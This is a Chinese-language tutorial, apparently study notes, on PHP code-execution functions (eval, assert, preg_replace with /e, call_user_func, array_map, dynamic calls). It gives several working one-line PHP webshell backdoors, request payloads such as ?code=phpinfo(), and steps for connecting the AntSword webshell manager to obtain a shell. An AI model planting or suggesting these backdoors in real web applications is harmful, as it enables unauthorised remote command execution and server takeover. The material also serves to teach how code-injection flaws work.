代码执行语句
eval()
-
不是函数,不能被动态调用,并且需要以
;
结束 -
直接输出,不执行
<?php$code="phpinfo();";echo $code;?>
-
eval() 语句执行
<?php$code="phpinfo();";eval($code); // eval 不是函数,最后要加 ;?>
-
动态执行
<?php$code=$_REQUEST["code"];eval($code);?>
-
一句话木马
<?phpeval($_REQUEST["code"]);?>
蚁剑执行命令
-
其他执行方式
?code=phpinfo();?code=${phpinfo()};?code=echo abc;phpinfo();?code=?>this is a test<?php phpinfo();?code=eval(phpinfo());
assert()
-
高版本中删除了 assert()
-
使用方法
<?phpassert("<执行语句>");?>
-
调用系统函数
-
动态调用
<?php$code=$_REQUEST["code"];assert($code);?>
-
蚁剑连接
preg_replace()
-
正则匹配,替换
-
替换字符,忽略大小写
<?php$code=preg_replace("/a/i","e","abAcd");// "//"两个斜线中的为正则表达式,后面跟选项i,表示不区分大小写// 此处将 abAcd 中无论大小写的 a 全替换成 eecho $code;?>
<?php$code=preg_replace("/\[.*\]/i","e","[abcde]");// "//"两个斜线中的未正则表达式,后面跟选项i,表示不区分大小写// \ 用来进行转义// .* 表示全部内容// 此处将 [abede] 包括中括号,替换成 eecho $code;?>
$code= preg_replace("/\[(.*)\]/i","e","[phpinfo()]"); // 匹配方括号中的任意字符序列,并将其替换为字母 "e"。所以,"[phpinfo()]" 会被替换为 "e"。最终,变量 $code 的值将是 "e"。
-
捕获
[]
中的内容<?php$code= preg_replace("/\[(.*)\]/i","\\1","[phpinfo()]"); \\1 第一次匹配的不明确的字符(此处为 phpinfo())// \[(.*)\] 是正则表达式的模式,用于匹配方括号 [ 和 ] 之间的任意字符序列,并将其作为捕获组。// \[ 匹配左方括号 [。// (.*) 匹配任意字符序列,并将其作为捕获组。// \] 匹配右方括号 ]。// "\\1" 是替换字符串,其中 \\1 表示引用第一个捕获组的内容。// 将目标字符串 "[phpinfo()]" 中的方括号及其内部的任意字符序列替换为捕获组中的内容。在这个例子中,捕获组中的内容是 "phpinfo()",所以最终 $code 的值将是 "phpinfo()"。echo $code;?>
-
执行捕获的
[]
中的内容<?php$code= preg_replace("/\[(.*)\]/ie","\\1","[phpinfo()]");// \\1 第一次匹配的不明确的字符(此处为 phpinfo())// 此处的参数 e 会将匹配出的不明确字符执行echo $code;?>
回调函数
- 可以调用其他函数的函数
- call_user_func()、array_map()
- eval()、isset() 等为语言结构,不是函数,不能被回调
call_user_func()
-
使用
<?phpcall_user_func(<调用的函数>,<要传的参数>);?>
-
例
<?php$func="assert";$code="phpinfo()";call_user_func($func,$code);?>
-
动态执行
<?php$func=$_REQUEST["func"];$code=$_REQUEST["code"];call_user_func($func,$code);?>
-
连接蚁剑
array_map()
-
第二个参数必须是数组
-
使用
<?php$func=$_REQUEST["func"];$code[]="phpinfo()";array_map($func,$code);?>
-
动态执行
<?php$func=$_REQUEST["func"];$code=$_REQUEST["code"];array_map($func,$code);?>
动态函数
-
在 php 中写入最简单的后门函数
<?php$_GET['a']($_GET['b']);?>
访问此 php 页面
修改传参,成功执行命令
蚁剑连接
-
eval
为一种语言结构,而非函数,不能动态调用 -
可以将
assert
当作 a 的参数,b 的参数为一句话木马,连接蚁剑-
蚁剑为 POST 传参,需要将传参方式设置为
$_POST
或$_REQUEST
<pre> <?php$_GET['a']($_REQUEST['b']);?>
-
-
蚁剑连接
输入传参后的 url
注意
assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码
连接密码为
$_REQUEST['b']
中的 b -
获取 shell